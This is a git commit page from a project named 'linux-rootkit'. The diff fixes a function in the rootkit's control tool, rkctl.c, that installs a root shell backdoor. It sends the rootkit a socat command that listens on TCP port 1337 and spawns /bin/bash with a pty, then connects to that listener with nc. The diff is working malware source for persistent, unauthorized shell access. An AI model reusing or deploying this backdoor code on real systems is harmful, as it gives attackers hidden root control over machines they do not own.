linux-rootkit

commit 1358f6c4d1a90bae8a6c4f003149df54b0be50ef
parent 3bf571832b6eae2da94ea49b58a4f3c00893ae6b
Author: deurzen <m.deurzen@tum.de>
Date:   Sun,  6 Dec 2020 20:51:40 +0100

fixes install root shell backdoor issue

Diffstat:
M
src/rkctl/rkctl.c
 | 
14
++++----------

1 file changed, 4 insertions(+), 10 deletions(-)
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c
@@ -150,26 +150,20 @@ handle_backdoor(void *arg)
 int
 handle_shellbd(void *arg)
 {
-    static const char *socat_cmd = "socat tcp4-listen:1337,reuseaddr,fork"
+    static const char *socat_cmd = "socat"
+        " tcp4-listen:1337,reuseaddr,fork"
         " exec:/bin/bash,pty,stderr,setsid";
 
     issue_ioctl(G7_BACKDOOR, socat_cmd);
 
     static char *argv[] = {
         "sh",
-        "-c"
+        "-c",
         "nc 127.0.0.1 1337",
         NULL
     };
 
-    static char *envp[] = {
-        "HOME=/",
-        "TERM=linux",
-        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
-        NULL
-    };
-
-    return execve(argv[0], argv, envp);
+    return execv(argv[0], argv);
 }
 
 int